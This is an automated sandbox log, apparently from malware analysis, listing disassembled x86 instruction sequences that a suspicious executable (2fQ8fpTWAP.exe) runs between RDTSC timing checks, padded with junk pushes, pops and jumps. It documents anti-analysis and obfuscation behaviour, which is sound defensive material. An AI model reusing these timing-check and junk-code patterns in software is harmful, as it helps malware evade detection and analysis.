Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA06B8 second address: 4FA06E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2D39F177h 0x00000009 jmp 00007F7A2D39F173h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA06E9 second address: 4FA06F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA06F7 second address: 4FA06FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA06FB second address: 4FA06FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA06FF second address: 4FA0705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA0705 second address: 4FA07CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2CC6ACF6h 0x00000009 adc esi, 7BE905C8h 0x0000000f jmp 00007F7A2CC6ACEBh 0x00000014 popfd 0x00000015 push esi 0x00000016 pop edx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F7A2CC6ACF5h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 call 00007F7A2CC6ACECh 0x00000027 pushfd 0x00000028 jmp 00007F7A2CC6ACF2h 0x0000002d sub ecx, 587DBA88h 0x00000033 jmp 00007F7A2CC6ACEBh 0x00000038 popfd 0x00000039 pop esi 0x0000003a pushfd 0x0000003b jmp 00007F7A2CC6ACF9h 0x00000040 add esi, 5C4C81A6h 0x00000046 jmp 00007F7A2CC6ACF1h 0x0000004b popfd 0x0000004c popad 0x0000004d mov ebp, esp 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 call 00007F7A2CC6ACF6h 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F4014F second address: 4F40155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40155 second address: 4F40159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40159 second address: 4F40171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40171 second address: 4F40177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40177 second address: 4F4017C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F4017C second address: 4F401C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7A2CC6ACF6h 0x0000000a sbb si, 0D18h 0x0000000f jmp 00007F7A2CC6ACEBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7A2CC6ACF4h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F401C2 second address: 4F401D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F16Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F401D4 second address: 4F40221 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F7A2CC6ACF4h 0x00000013 sub al, 00000008h 0x00000016 jmp 00007F7A2CC6ACEBh 0x0000001b popfd 0x0000001c push esi 0x0000001d mov eax, edi 0x0000001f pop ebx 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F7A2CC6ACEDh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40221 second address: 4F40231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40231 second address: 4F40259 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7A2CC6ACF0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40259 second address: 4F4025D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F4025D second address: 4F40263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F40263 second address: 4F4029D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movzx eax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007F7A2D39F171h 0x00000017 adc cx, FD96h 0x0000001c jmp 00007F7A2D39F171h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60BB8 second address: 4F60BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60BBE second address: 4F60BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60BC2 second address: 4F60BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60BC6 second address: 4F60C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F7A2D39F174h 0x00000010 add esi, 09C545B8h 0x00000016 jmp 00007F7A2D39F16Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d pushfd 0x0000001e jmp 00007F7A2D39F16Fh 0x00000023 jmp 00007F7A2D39F173h 0x00000028 popfd 0x00000029 pop eax 0x0000002a popad 0x0000002b mov dword ptr [esp], ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 movzx eax, di 0x00000034 mov bl, 0Fh 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60C2A second address: 4F60C30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60C30 second address: 4F60C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60786 second address: 4F607D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7A2CC6ACECh 0x00000008 pop eax 0x00000009 call 00007F7A2CC6ACEBh 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 pushad 0x00000014 mov edi, ecx 0x00000016 call 00007F7A2CC6ACEEh 0x0000001b mov ch, 44h 0x0000001d pop edi 0x0000001e popad 0x0000001f mov dword ptr [esp], ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F7A2CC6ACF9h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F607D9 second address: 4F6080C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7A2D39F16Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7A2D39F178h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F6080C second address: 4F6081B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F6081B second address: 4F60820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F6067C second address: 4F60680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60680 second address: 4F60684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60684 second address: 4F6068A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F6068A second address: 4F606A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7A2D39F16Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F606A9 second address: 4F606C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F606C6 second address: 4F60720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2D39F177h 0x00000009 jmp 00007F7A2D39F173h 0x0000000e popfd 0x0000000f call 00007F7A2D39F178h 0x00000014 pop eax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7A2D39F16Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F603E0 second address: 4F60455 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2CC6ACEFh 0x00000009 adc ax, 17FEh 0x0000000e jmp 00007F7A2CC6ACF9h 0x00000013 popfd 0x00000014 mov ecx, 42F53447h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F7A2CC6ACEAh 0x00000022 push eax 0x00000023 jmp 00007F7A2CC6ACEBh 0x00000028 xchg eax, ebp 0x00000029 jmp 00007F7A2CC6ACF6h 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov edx, 5D426B70h 0x00000038 mov eax, edx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F7013A second address: 4F7018D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2D39F16Fh 0x00000009 sub ch, FFFFFF8Eh 0x0000000c jmp 00007F7A2D39F179h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F7A2D39F16Ah 0x0000001d push eax 0x0000001e jmp 00007F7A2D39F16Bh 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F7018D second address: 4F70191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F70191 second address: 4F70197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F70197 second address: 4F701AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov bh, ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA0586 second address: 4FA058A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA058A second address: 4FA05A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA05A7 second address: 4FA05AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA05AD second address: 4FA05B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA05B1 second address: 4FA064C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov dx, cx 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 pushad 0x00000018 movsx edx, si 0x0000001b pushfd 0x0000001c jmp 00007F7A2D39F16Eh 0x00000021 or ecx, 00DB5DF8h 0x00000027 jmp 00007F7A2D39F16Bh 0x0000002c popfd 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007F7A2D39F178h 0x00000034 sub cl, 00000058h 0x00000037 jmp 00007F7A2D39F16Bh 0x0000003c popfd 0x0000003d popad 0x0000003e xchg eax, ebp 0x0000003f jmp 00007F7A2D39F176h 0x00000044 mov ebp, esp 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F7A2D39F16Ah 0x0000004f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA064C second address: 4FA0650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA0650 second address: 4FA0656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA0656 second address: 4FA066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4FA066F second address: 4FA068C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F8023D second address: 4F80241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F80241 second address: 4F80247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F80247 second address: 4F80259 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 4E28h 0x00000007 mov bh, 24h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F80259 second address: 4F8027D instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 1F47E2B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7A2D39F176h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F8027D second address: 4F802C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F7A2CC6ACF6h 0x00000011 and dword ptr [eax], 00000000h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 call 00007F7A2CC6ACF3h 0x0000001e pop eax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F802C2 second address: 4F802DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F175h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60575 second address: 4F605B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 326Eh 0x00000007 pushfd 0x00000008 jmp 00007F7A2CC6ACEFh 0x0000000d or al, 0000001Eh 0x00000010 jmp 00007F7A2CC6ACF9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f movsx ebx, cx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F605B6 second address: 4F6060E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7A2D39F171h 0x00000009 sbb ch, 00000006h 0x0000000c jmp 00007F7A2D39F171h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F7A2D39F170h 0x00000018 xor ecx, 36EC42A8h 0x0000001e jmp 00007F7A2D39F16Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F6060E second address: 4F60614 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60614 second address: 4F6063C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A2D39F177h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F70CD9 second address: 4F70CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F70CDF second address: 4F70D5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F7A2D39F176h 0x00000011 push eax 0x00000012 jmp 00007F7A2D39F16Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bx, CE66h 0x0000001f pushfd 0x00000020 jmp 00007F7A2D39F177h 0x00000025 and ecx, 425138EEh 0x0000002b jmp 00007F7A2D39F179h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F80025 second address: 4F8004D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 mov si, C8D7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7A2CC6ACF9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F8004D second address: 4F8005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90D74 second address: 4F90DC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7A2CC6ACF6h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F7A2CC6ACF0h 0x00000016 xchg eax, ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7A2CC6ACF7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90DC6 second address: 4F90E45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edi, 4F0C93E2h 0x00000010 movsx ebx, si 0x00000013 popad 0x00000014 xchg eax, ecx 0x00000015 pushad 0x00000016 mov di, si 0x00000019 pushfd 0x0000001a jmp 00007F7A2D39F16Ch 0x0000001f jmp 00007F7A2D39F175h 0x00000024 popfd 0x00000025 popad 0x00000026 mov eax, dword ptr [775165FCh] 0x0000002b jmp 00007F7A2D39F16Eh 0x00000030 test eax, eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F7A2D39F177h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90E45 second address: 4F90F03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7A2CC6ACEFh 0x00000008 pop eax 0x00000009 mov ebx, 596BE67Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 je 00007F7A9F16D7ECh 0x00000017 jmp 00007F7A2CC6ACEBh 0x0000001c mov ecx, eax 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F7A2CC6ACF4h 0x00000025 or si, C0C8h 0x0000002a jmp 00007F7A2CC6ACEBh 0x0000002f popfd 0x00000030 pushad 0x00000031 mov edi, esi 0x00000033 pushfd 0x00000034 jmp 00007F7A2CC6ACF2h 0x00000039 adc al, 00000028h 0x0000003c jmp 00007F7A2CC6ACEBh 0x00000041 popfd 0x00000042 popad 0x00000043 popad 0x00000044 xor eax, dword ptr [ebp+08h] 0x00000047 jmp 00007F7A2CC6ACEFh 0x0000004c and ecx, 1Fh 0x0000004f jmp 00007F7A2CC6ACF6h 0x00000054 ror eax, cl 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 call 00007F7A2CC6ACEDh 0x0000005e pop eax 0x0000005f movsx edx, ax 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90F03 second address: 4F90F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F90F09 second address: 4F90F6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c jmp 00007F7A2CC6ACEEh 0x00000011 retn 0004h 0x00000014 nop 0x00000015 mov esi, eax 0x00000017 lea eax, dword ptr [ebp-08h] 0x0000001a xor esi, dword ptr [00622014h] 0x00000020 push eax 0x00000021 push eax 0x00000022 push eax 0x00000023 lea eax, dword ptr [ebp-10h] 0x00000026 push eax 0x00000027 call 00007F7A3161BB5Ch 0x0000002c push FFFFFFFEh 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov ecx, ebx 0x00000033 pushfd 0x00000034 jmp 00007F7A2CC6ACF9h 0x00000039 adc ax, 8616h 0x0000003e jmp 00007F7A2CC6ACF1h 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
